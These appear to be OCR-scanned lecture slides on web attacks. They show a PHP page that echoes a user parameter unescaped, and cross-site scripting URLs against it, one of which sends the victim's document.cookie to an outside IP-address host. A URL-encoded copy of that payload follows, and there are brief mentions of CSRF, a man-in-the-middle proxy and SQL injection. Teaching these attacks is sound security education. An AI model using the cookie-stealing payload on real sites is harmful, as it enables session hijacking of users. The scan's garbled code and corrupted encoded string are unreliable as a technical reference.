Cross Site Scripting
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<?php
echo $ GET[ ‘user’ I
72>
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XSS(Cross Site Scripting)

» Attacker
H#Ztag
http://victim_host/index.php ?user=<script>alert(docume
nt.cookie); </script>

http://victim_host/index.php ?user=<script>document.loc
ation="http://140.123.214.10/~yungshin/nsc/demol/get.p
hp?cookie="%2Bdocument.cookie; </script> “
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XSS(Cross Site Scripting)

» URL_Encode!

» http://victim_host/index.php?user=%3C%/3%6
3%72%69%70%74%3E%64%6f%63%75%6d%6
5%6€%74%2€%6C%61%63%61%74%69%61%6e
%3D%27%68%74%74%70%3A%2F%2F%31%34
%30%2€%31%32%33%2€%32%31%34%2e%31
%30%2F%7E%79%75%6€%67%73%68%69%6€
%2F%6€%73%63%2F%64%65%6d%61%31%2F
%67%65%74%2€%70%68%70%3F%63%61%6f
%60%69%65%3D%27%2B%64%61%63%75%6d
%65%6€%74%2e%63%61%61%60%69%65%3B
%3C%2F%13%63%/2%69%/0%/4%3E
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Cross Site Request Forgeries
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http://www.parosproxy.org
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Man-in-the-middle proxy :
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{3 AR 2 B

JE##& : SQL injection * Directory Browsingss
= REE




